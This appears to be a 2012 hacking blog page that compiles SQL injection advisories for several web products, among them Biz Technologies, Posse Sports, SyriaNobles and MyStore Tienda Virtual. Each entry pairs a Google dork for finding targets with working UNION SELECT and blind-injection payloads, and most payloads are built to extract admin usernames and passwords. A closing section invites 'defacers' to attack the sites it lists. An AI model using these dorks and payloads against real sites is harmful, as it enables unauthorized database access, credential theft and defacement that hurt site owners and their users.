PAYLOAD TRUE  : and+1=1--+
PAYLOAD FALSE : and+1=2--+


Biz Technologies SQL Injection Vulnerability

# Google Dork: inurl:gallery.php "Powered by Biz Technologies"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org 
# Software Link: www.biztechnepal.com
# Version: All Version
# Category: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7

Vulnerable link : http://[target]//gallery.php?id=[SQL]
PAYLOAD : -9999+union+select+group_concat(adminid,0x3a,username,0x3a,password)+from+admin--


Mediashaker Blind SQL Injection Vulnerability

# Google Dork: inurl:content.php "Powered by Mediashaker"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org 
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Vendor: http://www.mediashaker.com/
# Tested on: GNU/Linux Ubuntu - Windows Server - win7

Vulnerable link : http://www.target.com/content.php?id=1 [Blind SQL]
PAYLOAD FALSE : and substring(@@version,1,1)=5--
PATLOAD TRUE  : and substring(@@version,1,1)=4--


Posse Sports SQL Injection Vulnerability

# Google Dork: "Powered By Posse Sports"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org 
# Software Link: www.possesports.com
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7

Vulnerable link:
#  http://[target]/newsdetail.php?news_id=[SQL]
#  http://[target]/dirdetails.php?iddirector=[SQL]
#  http://[target]/tdetails.php?idtourn=[SQL]
#  http://[target]/tresults.php?tourn_id=[SQL]
#  http://[target]/tournsearch.php?idclass=[SQL]
#  http://[target]/fieldinfo.php?idfield=[SQL]
#  http://[target]/page.php?id=[SQL*]

PAYLOAD : -9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user


SyriaNobles SQL Injection Vulnerability

# Google Dork: inurl:view-page.php "Powered by SyriaNobles"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org 
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Vendor: http://www.syrianobles.com/syrianobles/english/
# Tested on: GNU/Linux Ubuntu - Windows Server - win7

Vulnerable link : http://[target]/page.php?id=[SQL]
PAYLOAD : -1+union+select+1,2,group_concat(id,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11+from+user


EasyWebRealEstate Blind SQL Injection Vulnerability

# Google Dork: inurl:listings.php "Powered by EasyWebRealEstate"
# Date: 4/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org 
# Software Link: www.easywebrealestate.com
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7

Vulnerable link :
#  http://[target]/[patch]/listings.php?lstid=1 [Blind SQL]
#  http://[target]/[patch]/index.php?current=tip&infoid=9' [Blind SQL]

PAYLOAD TRUE  : http://[target]/[patch]/listings.php?lstid=1 and 1=1
PAYLOAD FALSE : http://[target]/[patch]/listings.php?lstid=1 and 1=0



Selasa, 03 Januari 2012

[Reconnaissance] SQL Injection 3 January 2012

Feel free to find vulnerable site, to perform SQL Injection!

Do you like to perform SQL Injection? Are you a desperate defacer to find a vulnerability? Don't be sad, and don't worry. Because we will give a vulnerable site for you. Include dork, Injection type, Injection command, and Example.

We will update our reconnaissance every week to give another vulnerable sites for you. I think you must follow this site to get a notification when we post another vulnerable site. Enjoy.


1. MyStore Tienda Virtual 0day
Dork: inurl: "art_detalle.php?id="
Injection type: Integer
Injection Command: +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--
Example: http://blablabla.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--

This exploit maybe working for a week, until MyStore Tienda Virtual fix their bug =)